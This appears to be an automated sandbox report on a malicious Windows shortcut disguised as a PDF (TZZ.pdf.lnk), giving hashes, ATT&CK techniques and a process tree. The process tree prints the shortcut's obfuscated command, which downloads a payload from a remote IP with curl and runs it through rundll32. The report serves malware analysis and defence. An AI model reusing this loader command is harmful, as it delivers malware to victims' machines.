2ae853f0b83d3dffeaf192cb3e64209ad52bbfd5f0c41f85f1e1cea7217e3dc4

Resubmissions

07-05-2024 12:38

240507-pvdkrsga4z 10

16-10-2023 16:11

231016-tmwtlaab41 7

Analysis

max time kernel
125s
max time network
133s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
16-10-2023 16:11

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Report Analysis Logs

General

Target

Birdman/TZZ.pdf.lnk
Size

1KB
MD5

54801c419cd1468e340604dd320223d8
SHA1

413c08277d29c965fb667a83af76d453004a15ed
SHA256

d57082ddb6cffaa1b6ad658bba6d79f958a7ea8afbd1f4e1ddfdddb4a7145961
SHA512

55a2e1d83e094c8b527ef782da54daa7863f4f17dc9213b1192359d550cbb6f7dd5cc24412ba3a72a7d405df9c2c58ba4d1f64cc640775bb82777840d0b8e6b7

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
760	PING.EXE
3640	PING.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 1400	2040	cmd.exe	82
PID 2040 wrote to memory of 1400	2040	cmd.exe	82
PID 1400 wrote to memory of 760	1400	cmd.exe	83
PID 1400 wrote to memory of 760	1400	cmd.exe	83
PID 1400 wrote to memory of 3412	1400	cmd.exe	86
PID 1400 wrote to memory of 3412	1400	cmd.exe	86
PID 1400 wrote to memory of 3640	1400	cmd.exe	94
PID 1400 wrote to memory of 3640	1400	cmd.exe	94
PID 1400 wrote to memory of 2112	1400	cmd.exe	95
PID 1400 wrote to memory of 2112	1400	cmd.exe	95

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Birdman\TZZ.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c UL || EChO UL & p"iN"G UL || C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log & p"iN"G -n 3 UL || RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var & E"Xi"T 'qsCViPhzqU
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\system32\PING.EXE
    p"iN"G UL
    3⤵
    - Runs ping.exe
    PID:760
- - C:\Windows\system32\curl.exe
    C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log
    3⤵
    PID:3412
- - C:\Windows\system32\PING.EXE
    p"iN"G -n 3 UL
    3⤵
    - Runs ping.exe
    PID:3640
- - C:\Windows\system32\rundll32.exe
    RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var
    3⤵
    PID:2112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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